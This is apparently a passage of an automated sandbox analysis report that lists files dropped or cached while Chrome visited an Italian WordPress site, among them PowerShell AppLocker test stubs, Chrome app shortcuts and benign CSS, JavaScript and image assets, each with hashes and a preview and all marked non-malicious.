Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fhupfkc.1n3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dd2mn0gt.epv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxr0wzma.aoy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 11:19:08 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.978906182579038
Encrypted:	false
SSDEEP:	48:885QdhTJZxHjidAKZdA1FehwiZUklqehry+3:88Q/f8y
MD5:	75BF6C3CE5E5957EE51B44E4CD54964D
SHA1:	C12AA9178590670335B458016FF596E6F5D246FC
SHA-256:	CB7E5593A21E5839B5FD7C18262A24705BA8F7F10B00ABF01E2B2783CE6A9CB7
SHA-512:	9B620D2C1E0C6B354F7C7983D2BFCCBEF680BF7FF4B16E61E019A795E48CDE08D3EA235547B59A2A81DCF8CD224DE97045A58962C62DCD1AC79DEF89055A220A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....h....b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I)ZWb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Zcb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Zcb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Zcb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Zeb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............%......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 11:19:08 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9943080015874806
Encrypted:	false
SSDEEP:	48:8r5QdhTJZxHjidAKZdA1seh/iZUkAQkqehsy+2:8rQ/p9Qxy
MD5:	9892BC6A91A1388F969045AD886F0B70
SHA1:	80E807672764FFC9EA6D43AED218D328A520B1B0
SHA-256:	72BE0CFFA177C149D076E999D3D32FD402F6CB2CCFD5687B185825647F3D3BD8
SHA-512:	ABAB90C30B33A8044DF692DAC5D7CB6335DAB31058EE8670736C2603351D2B4EEC673310DABF1B07E839265A95B28018A17F63CC5F527A0819AD4941C83F443B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....:...b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I)ZWb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Zcb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Zcb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Zcb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Zeb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............%......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.006335050699897
Encrypted:	false
SSDEEP:	48:8NQdhTJZAHjidAKZdA14meh7sFiZUkmgqeh7sqy+BX:8M/anwy
MD5:	A0AC8EE4F5F3CD532E812EE9B9241E62
SHA1:	6E2618DC86D264273C80900F284DA6A91C0200AF
SHA-256:	8C669AB206ACAAC9CA1682B6FE96ADF84B1B41DF981E47210ED1441951D3A4E3
SHA-512:	5BF941FDE5C42E133FD941D4B888D02B8FC004193C04C16BECED63A98D7A62E16716EE29A741B02F83C9CA6F9CF86947B4D074A1672008A12355B20EEB6AB4A3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I)ZWb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Zcb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Zcb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Zcb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............%......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 11:19:08 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.99525641129808
Encrypted:	false
SSDEEP:	48:8nQdhTJZxHjidAKZdA1TehDiZUkwqehYy+R:8W/6yy
MD5:	3DB58C4529D05F0222CF70534EB55FD5
SHA1:	D227DDCA9DA8F05B280B36F29CFA41ECE6D83E12
SHA-256:	C099811F8F475B33142222ECEDC6434A29DA2C3D2EFFDD378764F8575BD85087
SHA-512:	2A0DA5CC4F605EC972DED88295B940CBC92AECDA29DCF280F0F8C6A07EEB9DC8708FAE9FBD6EA6D3ED074D9E1B3D3093BE75C08C567F714B345CD5453D810254
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....8....b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I)ZWb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Zcb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Zcb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Zcb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Zeb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............%......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 11:19:08 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9837347841008284
Encrypted:	false
SSDEEP:	48:8r5QdhTJZxHjidAKZdA1dehBiZUk1W1qehuy+C:8rQ/a9Oy
MD5:	E1E1ABAFEFA80F01322D79EEE4D702E9
SHA1:	3BD4E4EECE8F2B2D2A2CA0214A273631C2F858FA
SHA-256:	32B47623C38726E910B97993710C9359D1B93E88225478CA186DF51AD26714C1
SHA-512:	829B8318FFAAF665769D4142219B7E9BF34DBE0CF705012E89172E727DC9400817F79D9B2C8C0E160E7EE855F560CD67CFBE7350EA4D7C3F87847CC1DF1BE3A8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....~....b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I)ZWb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Zcb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Zcb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Zcb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Zeb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............%......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 11:19:08 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.993915325019163
Encrypted:	false
SSDEEP:	48:8fQdhTJZxHjidAKZdA1duTeehOuTbbiZUk5OjqehOuTbwy+yT+:8e/wTfTbxWOvTbwy7T
MD5:	0C8F88840120846147B6F2252FB4B2FD
SHA1:	C45235E5533D0DFF545BDDDBCD7BBB4E90F49D50
SHA-256:	487CEE6882635E84BAF7F1B83340FE38DD2C038532473D25D5E265438E146E44
SHA-512:	949D119359838463EF4CC13A5E95687297CAE90A8D649A4342DB333CB29BAE79F205B36626152CD28E084C1EDFB0DC9754ABDFABDACEC2254F4CE02CFAB38046
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....O.b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I)ZWb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Zcb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Zcb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Zcb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Zeb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............%......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 630, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1169493
Entropy (8bit):	7.994471264780519
Encrypted:	true
SSDEEP:	24576:HdO1c3spGncYV5WGtNETwvYIaoN+KuYbY/MoXhcZWyVkA7d:sc3rn/VcTLooQcEYaZDVk+
MD5:	6271955F458C0A20333167E528E476F3
SHA1:	B36725D616F004F0D73E442F9B857476DE9360B7
SHA-256:	25DE885311B8CC53EF87120CC5CBF8A575FF1DFA8893F022FC6041C023CFD4FB
SHA-512:	77F7D08366BA4AEEEC69785025C52ADA8A640EDB661B68CF997E3194938C526CE6F391E7BFB703DD935411D110D951777D8C67F018FE105577146F9143DACF14
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......v.............IDATx..K.v....]U.^.O.`.F.`.q8.FP@i.@..H.i!h./..~..%...D.... .B..;...9...U5....%m...y..c.Qu.u..d.A ...@p.......C.3....3.0@$.......b.....Z./.E..B.l...... "PU.m.w.~)~p...m.....wh......_-..%yM.: ..@.\|..........'_....J.......3.g......tq....}.......{...@.......Z....o._..~..b..:.......u......6.}..5Z..D%o...}..u..`"X...g......o.g;......../U5.M^.B....g.5..K.9.>......?.......!.......5..;....l..m,U........4.....1..^q...\|...6X...y`......S..?O...].x....:[.....{...hg_...f..l.....AU...`.........y......w......j....v..5<..ym.o...O......Y.....r...........M.eB.N_....Z.I.U......v.<....3..Z.........?.p.....}+.kzB..y..}...2.........9k1.C.0..f......y.$..b._.l....i...`. ..~ ..\|43....Ep.3.<..?..;.a~-U..7.{..k`..aP.....l3,.7:;...@d........#.1..S.~...7\|.o,Yg.._...?..w.. ..;.pV........<....K..#v...aA!b...........C..3:.}..R.......Y=.....`........>..yo=.HbO...5!}}..\...j...L.g+.'....U.O<ST'.!...c.h...."......y...q..5..v..-...

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	707
Entropy (8bit):	4.600987126421838
Encrypted:	false
SSDEEP:	12:UiGEmtkxhNoMjPpZEAz4gVR4NRlMjPpZEAztK57aARHUCA:tpmshNoMl6m9V6NfMl6m457H+
MD5:	1877FC72C3A2A4E3F1299CCDB16D0513
SHA1:	3B13B3570948B77A60C65C72D561C47F67452E4A
SHA-256:	CB04C84B625847684F6B428B2ACC5772B549E12D18ACF8CA9B6A356CDB661FBC
SHA-512:	2AB944711CCF623425EE2EC5E36A01E5748BF6B636F9E02BED941FAB61237F0008BBDDFAD4A13E932F25B61AE98701546317F8A89697BCECDEA4CE47527F1947
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/custom.css?ver=4.5
Preview:	/* Have fun adding your style here :) - PS: At all times this file should contain a comment or a rule, otherwise opera might act buggy :( /../ General Custom CSS /...../.Desktop Styles.================================================== /./ Note: Add new css to the media query below that you want to only effect the desktop view of your site /..@media only screen and (min-width: 768px) {. / Add your Desktop Styles here /..}..../.Mobile Styles.================================================== /./ Note: Add new css to the media query below that you want to only effect the Mobile and Tablet Portrait view /..@media only screen and (max-width: 767px) {. / Add your Mobile Styles here */..}

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6948
Entropy (8bit):	4.797723773346297
Encrypted:	false
SSDEEP:	192:3RQ4fS5bzRyIy++mcS3n2s96/LEpeXHFykgxe:+lx3pSFh
MD5:	94DA2BC1C2DF74DAD8D2928E1F2ABB39
SHA1:	2B75295DDF1C98AA3BD47C9B5883399F265E4A45
SHA-256:	E62E8FE4252BF270D3984C4E3F4BE5FF5C19667DD195D5BBB9E404F3267F0981
SHA-512:	B070B317821592F03BE1B967ADC0103CB2310E98D44511FBF55CA61524FF5788E6C7ED68D5F6EA4BB1A93AC6FE8EDED113A6CA0453E6EEC0882FA9E47EFB6848
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5
Preview:	/* Magnific Popup CSS */..mfp-bg {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1042;. overflow: hidden;. position: fixed;. background: #000;. opacity: 0.8; }...mfp-wrap {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1043;. position: fixed;. outline: none !important;. -webkit-backface-visibility: hidden; }...mfp-container {. text-align: center;. position: absolute;. width: 100%;. height: 100%;. left: 0;. top: 0;. padding: 0 8px;. box-sizing: border-box; }...mfp-container:before {. content: '';. display: inline-block;. height: 100%;. vertical-align: middle; }...mfp-align-top .mfp-container:before {. display: none; }...mfp-content {. position: relative;. display: inline-block;. vertical-align: middle;. margin: 0 auto;. text-align: left;. z-index: 1045; }...mfp-inline-holder .mfp-content,..mfp-ajax-holder .mfp-content {. width: 100%;. cursor: auto; }...mfp-ajax-cur {. cursor: progress; }...mfp-zoom-out-cur, .mfp-zoom-out-cur

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	908
Entropy (8bit):	4.489980594331261
Encrypted:	false
SSDEEP:	24:2GuBkYApJDxUKBP2e2nTC4T2PL2kVr086L0MJu/b:GBnApJDxUcOegC1PCkVr08nl
MD5:	A5561B9480514546A73A09828A5C12EE
SHA1:	6DCD9D99F1EA1D794496B67E755EB40B918F9447
SHA-256:	4B4F3412D4FFA62F21545FA5CA2EFF90C4AC0B678B8A9D77786DF3EEC998D419
SHA-512:	7AD7384A4E819ABC94DC14136B3A4C969592E9BCF1418646D2129C6CA4B4E25231C8BD03CA5109B633E5C0330195AD618970453D17ECD2E23DBE97479EF7ED20
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.js?ver=6.0.9
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Progress bar shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_progressbar = function(options)..{...return this.each(function()...{....var container = $(this), elements = container.find('.avia-progress-bar');............//trigger displaying of progress bar....container.on('avia_start_animation', function()....{.....elements.each(function(i).....{......var element = $(this)............setTimeout(function()......{ .......element.find('.progress').addClass('avia_start_animation') .......element.find('.progressbar-percent').avia_sc_animated_number(.......{........instant_start:true, simple_up:true, start_timer: 10.......});.............}, (i * 250));.....});....});...});..}...}(jQuery));

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 74, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	27289
Entropy (8bit):	5.290183523103714
Encrypted:	false
SSDEEP:	384:/JN9NvO3tS5vXqZTkNCM9r4TNgSJmlq9nScaXnuF4P:BN9Nv4t+XqZGwNgSJ4qlSzuF4P
MD5:	AD62A910EE89CB38055B4E8357284004
SHA1:	227041543BEC7A5208B0761A17DE888BD595B794
SHA-256:	68085A4480B125AB77222E871A3A3DE546F6BEF60C6E6AD638355BB23BE1DCD1
SHA-512:	B3D2AF1A4061A5F1139D1941F20B8C2DA39EF2C1CA08A4700AF651756DA9E4A355F2640ADE90126B963DDF4ECF4585BAC3B7DE9D00EA23799A8435AA21B3FFCB
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2019/06/1.png
Preview:	.PNG........IHDR...K...J.....\|p>.....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3911
Entropy (8bit):	4.880360157532382
Encrypted:	false
SSDEEP:	48:gGJfIYJqr33fK8A5Gjg+QHW7CYid8u5BESgauLn:/tJI3C8AGg+l7CngdLn
MD5:	9F613B24E0177C946218F10B8487B550
SHA1:	84115E31E7155577FE25877B4D27268F7EDBCDC2
SHA-256:	8F7D1699F11BAD91F63C84ACCD7CCD4F4EFBC698B061BEEA0EB5E3C9879BF59A
SHA-512:	A70B60C24A85FFF3DF608C952D3EFFD8F635DB088A693618F444E83374F37958BC825DD56AF8F8BA2B2317F068DADE356FF09D621FC7357F3D8F1C0350960BDD
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postslider/postslider.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Post Slider.====================================================================================================================================================== */..avia-content-slider{ margin:30px 0; clear:both; }..avia-content-slider, .avia-content-slider-inner{ position: relative; overflow: hidden; clear:both; }..avia-content-slider .slide-entry-title{font-size:1.1em; line-height:1.4em; margin:0;}..avia-content-slider .slide-image, .avia-content-slider .slide-image img{border-radius: 3px; display: block; position: relative; -webkit-perspective: 1000px;.-webkit-backface-visibility: hidden; margin:0 auto;}..avia-content-slider .slide-image{overflow:hidden; margin-bottom:6px; border-radius: 3px;}..avia-content-slider .slide-entry-excerpt{ overflow: hidden; text-overflow: ellipsis; } ..avia-content-slider .slide-entry-wrap{width:100%

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=9, manufacturer=FUJIFILM, model=X-S10, xresolution=138, yresolution=146, resolutionunit=2, software=Adobe Photoshop Lightroom Classic 13.4 (Windows), datetime=2024:07:26 14:18:03], baseline, precision 8, 1500x630, components 3
Category:	dropped
Size (bytes):	1019783
Entropy (8bit):	7.9803975392161215
Encrypted:	false
SSDEEP:	24576:LXOcBLmxXHIKQLbJ4gO0q4DNHWfnBikVdj4:LTAHmq+q4hH+YkVC
MD5:	028411E9FD93E1611117FCC8D54A7748
SHA1:	773EE4E28A7750E05CE2A15AEA927F734493B8D7
SHA-256:	A4EA5F523316D455B2703B8C18519C84842DED59C7EC962E14101B6C550AA23A
SHA-512:	D1A41BA1EB6F438836963FA821AF9C71604F4E1BBCF55EFB34F2DC2747B38BC29182E0FDB01F73DCC18272408B66DE8699A9FC720F8720EE0C373A0B0518F1D1
Malicious:	false
Reputation:	low
Preview:	......JFIF............).Exif..II*...............z.......................................(...........1...1.......2...........;...........i...............FUJIFILM..X-S10.................Adobe Photoshop Lightroom Classic 13.4 (Windows)..2024:07:26 14:18:03.YOUGENIO..'........................."...........'...........0...................0232............................................................................................$...........,...........4...............................................<.......................D...........L.............................................................................................../.......................................1.......T...2.......^...3.......~...4...........5...................2...........2024:07:17 18:14:00.2024:07:17 18:14:00.+02:00..+01:00..+01:00..P.V.@B..............d.......d...,...d...N...d...d.......d.......1D000530......d...\|...d.......d.......d...FUJIFILM..XF18-55mmF2.8-4 R LM OIS..1CC10160................................

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	482
Entropy (8bit):	4.626408410219915
Encrypted:	false
SSDEEP:	12:t41WffFcfbpmO7+iCC4Mfiz9DI9T5VN5Tlp9jyuyuH+/:t414fFmpmOaiCC4MfWRsN19jyHYk
MD5:	212E30E47232BE03033A87DC58EDAA95
SHA1:	4D69C4A3DC57503E08B76C774135BFE83E8B1F51
SHA-256:	1F026BEB67630ABCDBC341651B1C17591AA76261296A9FB118793765964EB4E9
SHA-512:	13F153263DBF35F91793E8F3FE7249CE87C4854620C2D97F79646C70BBB2F71C5C3759496FFD101FBC6EF9657B19595FE782200649A96473BECD1AD7DAE1F72E
Malicious:	false
Reputation:	low
